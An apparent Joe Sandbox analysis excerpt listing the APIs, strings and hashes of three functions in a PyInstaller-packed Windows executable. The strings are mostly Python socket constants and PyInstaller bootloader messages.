String ID: 00000000-0000-0000-0000-000000000000$00:00:00:00:00:00$00:00:00:FF:FF:FF$90DB8B89-0D35-4F79-8CE9-49EA0AC8B7CD$A42E7CDA-D03F-480C-9CC2-A4DE20ABB878$AF_APPLETALK$AF_BLUETOOTH$AF_DECnet$AF_HYPERV$AF_INET$AF_INET6$AF_IPX$AF_IRDA$AF_LINK$AF_SNA$AF_UNSPEC$AI_ADDRCONFIG$AI_ALL$AI_CANONNAME$AI_NUMERICHOST$AI_NUMERICSERV$AI_PASSIVE$AI_V4MAPPED$BDADDR_ANY$BDADDR_LOCAL$BTPROTO_RFCOMM$CAPI$E0E16197-DD56-4A10-9195-5EE7A155A838$EAI_AGAIN$EAI_BADFLAGS$EAI_FAIL$EAI_FAMILY$EAI_MEMORY$EAI_NODATA$EAI_NONAME$EAI_SERVICE$EAI_SOCKTYPE$FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF$HVSOCKET_ADDRESS_FLAG_PASSTHRU$HVSOCKET_CONNECTED_SUSPEND$HVSOCKET_CONNECT_TIMEOUT$HVSOCKET_CONNECT_TIMEOUT_MAX$HV_GUID_BROADCAST$HV_GUID_CHILDREN$HV_GUID_LOOPBACK$HV_GUID_PARENT$HV_GUID_WILDCARD$HV_GUID_ZERO$HV_PROTOCOL_RAW$INADDR_ALLHOSTS_GROUP$INADDR_ANY$INADDR_BROADCAST$INADDR_LOOPBACK$INADDR_MAX_LOCAL_GROUP$INADDR_NONE$INADDR_UNSPEC_GROUP$IPPORT_RESERVED$IPPORT_USERRESERVED$IPPROTO_AH$IPPROTO_CBT$IPPROTO_DSTOPTS$IPPROTO_EGP$IPPROTO_ESP$IPPROTO_FRAGMENT$IPPROTO_GGP$IPPROTO_HOPOPTS$IPPROTO_ICLFXBM$IPPROTO_ICMP$IPPROTO_ICMPV6$IPPROTO_IDP$IPPROTO_IGMP$IPPROTO_IGP$IPPROTO_IP$IPPROTO_IPV4$IPPROTO_IPV6$IPPROTO_L2TP$IPPROTO_MAX$IPPROTO_ND$IPPROTO_NONE$IPPROTO_PGM$IPPROTO_PIM$IPPROTO_PUP$IPPROTO_RAW$IPPROTO_RDP$IPPROTO_ROUTING$IPPROTO_SCTP$IPPROTO_ST$IPPROTO_TCP$IPPROTO_UDP$IPV6_CHECKSUM$IPV6_DONTFRAG$IPV6_HOPLIMIT$IPV6_HOPOPTS$IPV6_JOIN_GROUP$IPV6_LEAVE_GROUP$IPV6_MULTICAST_HOPS$IPV6_MULTICAST_IF$IPV6_MULTICAST_LOOP$IPV6_PKTINFO$IPV6_RECVRTHDR$IPV6_RECVTCLASS$IPV6_RTHDR$IPV6_TCLASS$IPV6_UNICAST_HOPS$IPV6_V6ONLY$IP_ADD_MEMBERSHIP$IP_ADD_SOURCE_MEMBERSHIP$IP_BLOCK_SOURCE$IP_DROP_MEMBERSHIP$IP_DROP_SOURCE_MEMBERSHIP$IP_HDRINCL$IP_MULTICAST_IF$IP_MULTICAST_LOOP$IP_MULTICAST_TTL$IP_OPTIONS$IP_PKTINFO$IP_RECVDSTADDR$IP_RECVTOS$IP_TOS$IP_TTL$IP_UNBLOCK_SOURCE$MSG_BCAST$MSG_CTRUNC$MSG_DONTROUTE$MSG_ERRQUEUE$MSG_MCAST$MSG_OOB$MSG_PEEK$MSG_TRUNC$MSG_WAITALL$NI_DGRAM$NI_MAXHOST$NI_MAXSERV$NI_NAMEREQD$NI_NOFQDN$NI_NUMERICHOST$NI_NUMERICSERV$RCVALL_MAX$RCVALL_OFF$RCVALL_ON$RCVALL_SOCKETLEVELONLY$SHUT_RD$SHUT_RDWR$SHUT_WR$SIO_KEEPALIVE_VALS$SIO_LOOPBACK_FAST_PATH$SIO_RCVALL$SOCK_DGRAM$SOCK_RAW$SOCK_RDM$SOCK_SEQPACKET$SOCK_STREAM$SOL_IP$SOL_SOCKET$SOL_TCP$SOL_UDP$SOMAXCONN$SO_ACCEPTCONN$SO_BROADCAST$SO_DEBUG$SO_DONTROUTE$SO_ERROR$SO_EXCLUSIVEADDRUSE$SO_KEEPALIVE$SO_LINGER$SO_OOBINLINE$SO_RCVBUF$SO_RCVLOWAT$SO_RCVTIMEO$SO_REUSEADDR$SO_SNDBUF$SO_SNDLOWAT$SO_SNDTIMEO$SO_TYPE$SO_USELOOPBACK$SocketType$TCP_FASTOPEN$TCP_KEEPCNT$TCP_KEEPIDLE$TCP_KEEPINTVL$TCP_MAXSEG$TCP_NODELAY$WSAStartup failed: error code %d$WSAStartup failed: network not ready$WSAStartup failed: requested version not supported$_socket.CAPI$error$gaierror$has_ipv6$herror$socket.gaierror$socket.herror$timeout
API String ID: 3409425757-1188461360
Opcode ID: 4dce1cfbc17b3c99d7e4a2bf2870c05e4680d8e1b4ef0cfb511a93ced94c5d55
Instruction ID: e3c54ee20d32e75cfac825bf8c526926c241c434da7d0ceb0e42ef44fe726468
Opcode Fuzzy Hash: 4dce1cfbc17b3c99d7e4a2bf2870c05e4680d8e1b4ef0cfb511a93ced94c5d55
Instruction Fuzzy Hash: EAD2F960B08B1396FB109FA6E8547BD2794AF47FD1F865435CA0E86260DF6DE188C31B

Function 00007FF8E81310C0 Relevance: 344.2, APIs: 6, Strings: 190, Instructions: 1239networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8E81310F4
00007FF8E70A082C.PYTHON313 ref: 00007FF8E8131109
VerSetConditionMask.NTDLL ref: 00007FF8E81327C2
VerSetConditionMask.NTDLL ref: 00007FF8E81327D3
VerSetConditionMask.NTDLL ref: 00007FF8E81327E4
VerifyVersionInfoA.KERNEL32 ref: 00007FF8E813280A

Strings

NI_MAXSERV, xrefs: 00007FF8E813258D
IPV6_TCLASS, xrefs: 00007FF8E81322BD
IPPORT_RESERVED, xrefs: 00007FF8E8131E10
SocketType, xrefs: 00007FF8E8131207
IPPROTO_EGP, xrefs: 00007FF8E8131B40
00:00:00:FF:FF:FF, xrefs: 00007FF8E81315DB
IP_HDRINCL, xrefs: 00007FF8E8131F39
IPPROTO_MAX, xrefs: 00007FF8E8131D02
AF_HYPERV, xrefs: 00007FF8E8131418
HV_GUID_WILDCARD, xrefs: 00007FF8E81314EF
IPPROTO_IPV4, xrefs: 00007FF8E8131AE6
SO_KEEPALIVE, xrefs: 00007FF8E813170E
IP_MULTICAST_LOOP, xrefs: 00007FF8E813200B
IPPROTO_FRAGMENT, xrefs: 00007FF8E8131BF4
IPV6_UNICAST_HOPS, xrefs: 00007FF8E8132191
EAI_SOCKTYPE, xrefs: 00007FF8E813247F
AI_CANONNAME, xrefs: 00007FF8E81324BB
AF_UNSPEC, xrefs: 00007FF8E813130A
INADDR_LOOPBACK, xrefs: 00007FF8E8131E85
TCP_KEEPINTVL, xrefs: 00007FF8E8132335
AF_DECnet, xrefs: 00007FF8E81313A0
NI_NUMERICHOST, xrefs: 00007FF8E81325C9
IPV6_MULTICAST_HOPS, xrefs: 00007FF8E8132137
SIO_RCVALL, xrefs: 00007FF8E8132692
IP_RECVTOS, xrefs: 00007FF8E8131F93
IP_ADD_SOURCE_MEMBERSHIP, xrefs: 00007FF8E81320BF
IPV6_DONTFRAG, xrefs: 00007FF8E81321EB
IPPROTO_ICMP, xrefs: 00007FF8E8131A8C
SO_RCVBUF, xrefs: 00007FF8E81317E0
_socket.CAPI, xrefs: 00007FF8E81312B4
SO_OOBINLINE, xrefs: 00007FF8E81317A4
IP_PKTINFO, xrefs: 00007FF8E8132065
BDADDR_ANY, xrefs: 00007FF8E81315C6
AI_NUMERICHOST, xrefs: 00007FF8E81324D9
IP_RECVDSTADDR, xrefs: 00007FF8E8131FB1
SO_RCVTIMEO, xrefs: 00007FF8E8131858
SOL_SOCKET, xrefs: 00007FF8E81319DE
00:00:00:00:00:00, xrefs: 00007FF8E81315BC
AF_BLUETOOTH, xrefs: 00007FF8E8131586
error, xrefs: 00007FF8E81311A6
IPPROTO_HOPOPTS, xrefs: 00007FF8E8131A6E
AI_ALL, xrefs: 00007FF8E8132515
SOCK_DGRAM, xrefs: 00007FF8E813161E
MSG_BCAST, xrefs: 00007FF8E81319A2
IPV6_HOPOPTS, xrefs: 00007FF8E8132227
HV_PROTOCOL_RAW, xrefs: 00007FF8E8131436
MSG_MCAST, xrefs: 00007FF8E81319C0
HVSOCKET_CONNECT_TIMEOUT_MAX, xrefs: 00007FF8E8131472
SO_REUSEADDR, xrefs: 00007FF8E81316D2
AI_ADDRCONFIG, xrefs: 00007FF8E8132533
HV_GUID_LOOPBACK, xrefs: 00007FF8E813154C
E0E16197-DD56-4A10-9195-5EE7A155A838, xrefs: 00007FF8E8131542
INADDR_UNSPEC_GROUP, xrefs: 00007FF8E8131EA3
AI_V4MAPPED, xrefs: 00007FF8E8132551
SOMAXCONN, xrefs: 00007FF8E81318B2
FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF, xrefs: 00007FF8E8131504
TCP_KEEPIDLE, xrefs: 00007FF8E8132317
IPPROTO_ESP, xrefs: 00007FF8E8131C12
IP_OPTIONS, xrefs: 00007FF8E8131F1B
IP_UNBLOCK_SOURCE, xrefs: 00007FF8E8132083
SOCK_RAW, xrefs: 00007FF8E813163C
socket.herror, xrefs: 00007FF8E8131113
SOL_TCP, xrefs: 00007FF8E8131A1A
EAI_BADFLAGS, xrefs: 00007FF8E81323AD
IP_DROP_SOURCE_MEMBERSHIP, xrefs: 00007FF8E81320DD
SIO_LOOPBACK_FAST_PATH, xrefs: 00007FF8E81326C4
SO_DONTROUTE, xrefs: 00007FF8E813172C
IPV6_CHECKSUM, xrefs: 00007FF8E81321CD
SO_DEBUG, xrefs: 00007FF8E8131696
AF_INET6, xrefs: 00007FF8E8131382
INADDR_ALLHOSTS_GROUP, xrefs: 00007FF8E8131EC1
SHUT_RD, xrefs: 00007FF8E813263E
RCVALL_ON, xrefs: 00007FF8E813272C
IPPORT_USERRESERVED, xrefs: 00007FF8E8131E2E
HVSOCKET_CONNECT_TIMEOUT, xrefs: 00007FF8E8131454
EAI_FAMILY, xrefs: 00007FF8E81323E9
RCVALL_OFF, xrefs: 00007FF8E813270E
IPPROTO_IGMP, xrefs: 00007FF8E8131AAA
MSG_ERRQUEUE, xrefs: 00007FF8E8131984
HV_GUID_ZERO, xrefs: 00007FF8E81314D0
HV_GUID_CHILDREN, xrefs: 00007FF8E813152D
EAI_NODATA, xrefs: 00007FF8E8132425
SO_USELOOPBACK, xrefs: 00007FF8E8131768
RCVALL_MAX, xrefs: 00007FF8E8132768
SOCK_STREAM, xrefs: 00007FF8E8131600
IP_DROP_MEMBERSHIP, xrefs: 00007FF8E8132047
SO_BROADCAST, xrefs: 00007FF8E813174A
CAPI, xrefs: 00007FF8E81312EF
IP_MULTICAST_TTL, xrefs: 00007FF8E8131FED
IP_TTL, xrefs: 00007FF8E8131F75
HVSOCKET_ADDRESS_FLAG_PASSTHRU, xrefs: 00007FF8E81314AE
IPPROTO_SCTP, xrefs: 00007FF8E8131CC6, 00007FF8E8131DF2
SHUT_RDWR, xrefs: 00007FF8E813267A
MSG_WAITALL, xrefs: 00007FF8E8131966
INADDR_BROADCAST, xrefs: 00007FF8E8131E67
SO_SNDLOWAT, xrefs: 00007FF8E81317FE
AF_APPLETALK, xrefs: 00007FF8E8131364
SO_ACCEPTCONN, xrefs: 00007FF8E81316B4
IPPROTO_NONE, xrefs: 00007FF8E8131C6C
MSG_DONTROUTE, xrefs: 00007FF8E813190C
00000000-0000-0000-0000-000000000000, xrefs: 00007FF8E81314C6, 00007FF8E81314E5
has_ipv6, xrefs: 00007FF8E813123A
AF_INET, xrefs: 00007FF8E8131328
EAI_FAIL, xrefs: 00007FF8E81323CB
EAI_AGAIN, xrefs: 00007FF8E813238F
SO_SNDBUF, xrefs: 00007FF8E81317C2
IPPROTO_PGM, xrefs: 00007FF8E8131DB6
IPPROTO_GGP, xrefs: 00007FF8E8131AC8
SO_EXCLUSIVEADDRUSE, xrefs: 00007FF8E81316F0
SO_ERROR, xrefs: 00007FF8E8131876
IP_BLOCK_SOURCE, xrefs: 00007FF8E81320A1
TCP_KEEPCNT, xrefs: 00007FF8E8132353
IPPROTO_RAW, xrefs: 00007FF8E8131CE4
SOCK_RDM, xrefs: 00007FF8E8131678
NI_DGRAM, xrefs: 00007FF8E8132623
SO_LINGER, xrefs: 00007FF8E8131786
SOL_IP, xrefs: 00007FF8E81319FC
INADDR_MAX_LOCAL_GROUP, xrefs: 00007FF8E8131EDF
NI_NAMEREQD, xrefs: 00007FF8E81325E7
AI_NUMERICSERV, xrefs: 00007FF8E81324F7
TCP_NODELAY, xrefs: 00007FF8E81322DB
90DB8B89-0D35-4F79-8CE9-49EA0AC8B7CD, xrefs: 00007FF8E8131523
IPV6_MULTICAST_LOOP, xrefs: 00007FF8E8132173
IP_ADD_MEMBERSHIP, xrefs: 00007FF8E8132029
NI_MAXHOST, xrefs: 00007FF8E813256F
AI_PASSIVE, xrefs: 00007FF8E813249D
IPPROTO_PUP, xrefs: 00007FF8E8131B5E
IPPROTO_ND, xrefs: 00007FF8E8131BB8
IPPROTO_ROUTING, xrefs: 00007FF8E8131BD6
MSG_PEEK, xrefs: 00007FF8E81318EE
EAI_SERVICE, xrefs: 00007FF8E8132461
MSG_CTRUNC, xrefs: 00007FF8E8131948
SOL_UDP, xrefs: 00007FF8E8131A38
SO_RCVLOWAT, xrefs: 00007FF8E813181C
IPV6_HOPLIMIT, xrefs: 00007FF8E8132209
IPV6_PKTINFO, xrefs: 00007FF8E8132245
SOCK_SEQPACKET, xrefs: 00007FF8E813165A
A42E7CDA-D03F-480C-9CC2-A4DE20ABB878, xrefs: 00007FF8E8131561
TCP_MAXSEG, xrefs: 00007FF8E81322F9
IPPROTO_L2TP, xrefs: 00007FF8E8131DD4
BDADDR_LOCAL, xrefs: 00007FF8E81315E5
IPPROTO_IDP, xrefs: 00007FF8E8131B9A
IPPROTO_RDP, xrefs: 00007FF8E8131D98
HVSOCKET_CONNECTED_SUSPEND, xrefs: 00007FF8E8131490
SHUT_WR, xrefs: 00007FF8E813265C
timeout, xrefs: 00007FF8E81311C8
RCVALL_SOCKETLEVELONLY, xrefs: 00007FF8E813274A
HV_GUID_BROADCAST, xrefs: 00007FF8E813150E
INADDR_NONE, xrefs: 00007FF8E8131EFD
IPPROTO_DSTOPTS, xrefs: 00007FF8E8131C8A
AF_SNA, xrefs: 00007FF8E81313DC
IPPROTO_CBT, xrefs: 00007FF8E8131D5C
SO_SNDTIMEO, xrefs: 00007FF8E813183A
HV_GUID_PARENT, xrefs: 00007FF8E813156B
IPPROTO_ICLFXBM, xrefs: 00007FF8E8131D20
AF_IRDA, xrefs: 00007FF8E81313FA
NI_NUMERICSERV, xrefs: 00007FF8E8132605
IPV6_RECVRTHDR, xrefs: 00007FF8E8132263
IPV6_RECVTCLASS, xrefs: 00007FF8E8132281
socket.gaierror, xrefs: 00007FF8E8131164
EAI_NONAME, xrefs: 00007FF8E8132443
MSG_OOB, xrefs: 00007FF8E81318D0
IPPROTO_ST, xrefs: 00007FF8E8131D3E
gaierror, xrefs: 00007FF8E8131187
IPPROTO_UDP, xrefs: 00007FF8E8131B7C
SO_TYPE, xrefs: 00007FF8E8131894
IP_TOS, xrefs: 00007FF8E8131F57
MSG_TRUNC, xrefs: 00007FF8E813192A
IPPROTO_IGP, xrefs: 00007FF8E8131D7A
IPPROTO_IP, xrefs: 00007FF8E8131A53
BTPROTO_RFCOMM, xrefs: 00007FF8E81315A4
TCP_FASTOPEN, xrefs: 00007FF8E8132371
SIO_KEEPALIVE_VALS, xrefs: 00007FF8E81326AB
IPPROTO_AH, xrefs: 00007FF8E8131C30
EAI_MEMORY, xrefs: 00007FF8E8132407
IPPROTO_PIM, xrefs: 00007FF8E8131CA8
AF_IPX, xrefs: 00007FF8E8131346
IPV6_RTHDR, xrefs: 00007FF8E813229F
INADDR_ANY, xrefs: 00007FF8E8131E49
IP_MULTICAST_IF, xrefs: 00007FF8E8131FCF
IPV6_MULTICAST_IF, xrefs: 00007FF8E8132155
herror, xrefs: 00007FF8E8131145
IPV6_V6ONLY, xrefs: 00007FF8E81321AF
AF_LINK, xrefs: 00007FF8E81313BE
NI_NOFQDN, xrefs: 00007FF8E81325AB
IPPROTO_TCP, xrefs: 00007FF8E8131B22
IPPROTO_IPV6, xrefs: 00007FF8E8131B04
IPV6_JOIN_GROUP, xrefs: 00007FF8E81320FB
IPV6_LEAVE_GROUP, xrefs: 00007FF8E8132119
IPPROTO_ICMPV6, xrefs: 00007FF8E8131C4E

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: ConditionMask$00007A082InfoStartupVerifyVersion
String ID: 00000000-0000-0000-0000-000000000000$00:00:00:00:00:00$00:00:00:FF:FF:FF$90DB8B89-0D35-4F79-8CE9-49EA0AC8B7CD$A42E7CDA-D03F-480C-9CC2-A4DE20ABB878$AF_APPLETALK$AF_BLUETOOTH$AF_DECnet$AF_HYPERV$AF_INET$AF_INET6$AF_IPX$AF_IRDA$AF_LINK$AF_SNA$AF_UNSPEC$AI_ADDRCONFIG$AI_ALL$AI_CANONNAME$AI_NUMERICHOST$AI_NUMERICSERV$AI_PASSIVE$AI_V4MAPPED$BDADDR_ANY$BDADDR_LOCAL$BTPROTO_RFCOMM$CAPI$E0E16197-DD56-4A10-9195-5EE7A155A838$EAI_AGAIN$EAI_BADFLAGS$EAI_FAIL$EAI_FAMILY$EAI_MEMORY$EAI_NODATA$EAI_NONAME$EAI_SERVICE$EAI_SOCKTYPE$FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF$HVSOCKET_ADDRESS_FLAG_PASSTHRU$HVSOCKET_CONNECTED_SUSPEND$HVSOCKET_CONNECT_TIMEOUT$HVSOCKET_CONNECT_TIMEOUT_MAX$HV_GUID_BROADCAST$HV_GUID_CHILDREN$HV_GUID_LOOPBACK$HV_GUID_PARENT$HV_GUID_WILDCARD$HV_GUID_ZERO$HV_PROTOCOL_RAW$INADDR_ALLHOSTS_GROUP$INADDR_ANY$INADDR_BROADCAST$INADDR_LOOPBACK$INADDR_MAX_LOCAL_GROUP$INADDR_NONE$INADDR_UNSPEC_GROUP$IPPORT_RESERVED$IPPORT_USERRESERVED$IPPROTO_AH$IPPROTO_CBT$IPPROTO_DSTOPTS$IPPROTO_EGP$IPPROTO_ESP$IPPROTO_FRAGMENT$IPPROTO_GGP$IPPROTO_HOPOPTS$IPPROTO_ICLFXBM$IPPROTO_ICMP$IPPROTO_ICMPV6$IPPROTO_IDP$IPPROTO_IGMP$IPPROTO_IGP$IPPROTO_IP$IPPROTO_IPV4$IPPROTO_IPV6$IPPROTO_L2TP$IPPROTO_MAX$IPPROTO_ND$IPPROTO_NONE$IPPROTO_PGM$IPPROTO_PIM$IPPROTO_PUP$IPPROTO_RAW$IPPROTO_RDP$IPPROTO_ROUTING$IPPROTO_SCTP$IPPROTO_ST$IPPROTO_TCP$IPPROTO_UDP$IPV6_CHECKSUM$IPV6_DONTFRAG$IPV6_HOPLIMIT$IPV6_HOPOPTS$IPV6_JOIN_GROUP$IPV6_LEAVE_GROUP$IPV6_MULTICAST_HOPS$IPV6_MULTICAST_IF$IPV6_MULTICAST_LOOP$IPV6_PKTINFO$IPV6_RECVRTHDR$IPV6_RECVTCLASS$IPV6_RTHDR$IPV6_TCLASS$IPV6_UNICAST_HOPS$IPV6_V6ONLY$IP_ADD_MEMBERSHIP$IP_ADD_SOURCE_MEMBERSHIP$IP_BLOCK_SOURCE$IP_DROP_MEMBERSHIP$IP_DROP_SOURCE_MEMBERSHIP$IP_HDRINCL$IP_MULTICAST_IF$IP_MULTICAST_LOOP$IP_MULTICAST_TTL$IP_OPTIONS$IP_PKTINFO$IP_RECVDSTADDR$IP_RECVTOS$IP_TOS$IP_TTL$IP_UNBLOCK_SOURCE$MSG_BCAST$MSG_CTRUNC$MSG_DONTROUTE$MSG_ERRQUEUE$MSG_MCAST$MSG_OOB$MSG_PEEK$MSG_TRUNC$MSG_WAITALL$NI_DGRAM$NI_MAXHOST$NI_MAXSERV$NI_NAMEREQD$NI_NOFQDN$NI_NUMERICHOST$NI_NUMERICSERV$RCVALL_MAX$RCVALL_OFF$RCVALL_ON$RCVALL_SOCKETLEVELONLY$SHUT_RD$SHUT_RDWR$SHUT_WR$SIO_KEEPALIVE_VALS$SIO_LOOPBACK_FAST_PATH$SIO_RCVALL$SOCK_DGRAM$SOCK_RAW$SOCK_RDM$SOCK_SEQPACKET$SOCK_STREAM$SOL_IP$SOL_SOCKET$SOL_TCP$SOL_UDP$SOMAXCONN$SO_ACCEPTCONN$SO_BROADCAST$SO_DEBUG$SO_DONTROUTE$SO_ERROR$SO_EXCLUSIVEADDRUSE$SO_KEEPALIVE$SO_LINGER$SO_OOBINLINE$SO_RCVBUF$SO_RCVLOWAT$SO_RCVTIMEO$SO_REUSEADDR$SO_SNDBUF$SO_SNDLOWAT$SO_SNDTIMEO$SO_TYPE$SO_USELOOPBACK$SocketType$TCP_FASTOPEN$TCP_KEEPCNT$TCP_KEEPIDLE$TCP_KEEPINTVL$TCP_MAXSEG$TCP_NODELAY$_socket.CAPI$error$gaierror$has_ipv6$herror$socket.gaierror$socket.herror$timeout
API String ID: 3409425757-3643889990
Opcode ID: 402a8c535e09a4f8d89ed768b117a8b9010c23cdf2382df9e6d88d85c51fdd0b
Instruction ID: 42c73c00293865f926743013a11b8892a89cdffb63ab86cedf0214c3fe8dcea2
Opcode Fuzzy Hash: 402a8c535e09a4f8d89ed768b117a8b9010c23cdf2382df9e6d88d85c51fdd0b
Instruction Fuzzy Hash: 0DC2E960B08B1396FB109FA6F8507AD2794AF47FD1F865435CA0E86660DF6DE188C31B

Function 00007FF7EAD01000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF7EAD03EBB
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF7EAD03D12
Failed to convert DLL search path!, xrefs: 00007FF7EAD03DDC
Failed to load splash screen resources!, xrefs: 00007FF7EAD03E85
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7EAD03BE8
pkg, xrefs: 00007FF7EAD039BE
pyi-contents-directory, xrefs: 00007FF7EAD03B8D
_PYI_SPLASH_IPC, xrefs: 00007FF7EAD03A23, 00007FF7EAD03EF5
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF7EAD03971
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF7EAD03EA6
MEI, xrefs: 00007FF7EAD03933
VCRUNTIME140.dll, xrefs: 00007FF7EAD03DB1
Py_GIL_DISABLED, xrefs: 00007FF7EAD03AF4
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF7EAD03882, 00007FF7EAD038AF
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF7EAD03A0B, 00007FF7EAD03CD4, 00007FF7EAD03F6B
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF7EAD03E0A
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7EAD03C61
Could not create temporary directory!, xrefs: 00007FF7EAD03CBF
Failed to start splash screen!, xrefs: 00007FF7EAD03ED4
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF7EAD03B32
pyi-disable-windowed-traceback, xrefs: 00007FF7EAD03BB2
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF7EAD03A17, 00007FF7EAD03A2F, 00007FF7EAD03A9B
Failed to remove temporary directory: %s, xrefs: 00007FF7EAD03FCF
_PYI_ARCHIVE_FILE, xrefs: 00007FF7EAD038D2, 00007FF7EAD039FF
bye-runtime-tmpdir, xrefs: 00007FF7EAD03B68
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF7EAD039DE
pyi-python-flag, xrefs: 00007FF7EAD03AD6
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF7EAD03D35

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 233ec7f25ec1ed803ce179537cd482b57a2e4efc6b2dbb8e538fcab84ef42543
Instruction ID: 1110fc5f604bc3514105ae1ad6e894e3176ad781bc1424d71341d14022e255bb
Opcode Fuzzy Hash: 233ec7f25ec1ed803ce179537cd482b57a2e4efc6b2dbb8e538fcab84ef42543
Instruction Fuzzy Hash: E9327C21A08A8291FB19F72594943F9A762EF54788FC440B7DA5D432CAEF7CE558C332

Function 00007FF7EAD26964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7EAD26698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD266D9
Part of subcall function 00007FF7EAD26698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD26757
Part of subcall function 00007FF7EAD26698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD267A8

CreateFileW.KERNEL32 ref: 00007FF7EAD26A6A
CreateFileW.KERNEL32 ref: 00007FF7EAD26ABA
GetLastError.KERNEL32 ref: 00007FF7EAD26AEA
GetFileType.KERNEL32 ref: 00007FF7EAD26AFF
GetLastError.KERNEL32 ref: 00007FF7EAD26B09
CloseHandle.KERNEL32 ref: 00007FF7EAD26B3C
CloseHandle.KERNEL32 ref: 00007FF7EAD26C9F
CreateFileW.KERNEL32 ref: 00007FF7EAD26CD4
GetLastError.KERNEL32 ref: 00007FF7EAD26CE3

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: f9aed6a51e478cb4b00645d73990b07bc78f0d13bd230059b6e4c11a6b0e5bdb
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 6DC1D036B28B4285FB10EF64C4906AC7761F749B98F8142B6DE2E97398CF38D111C321

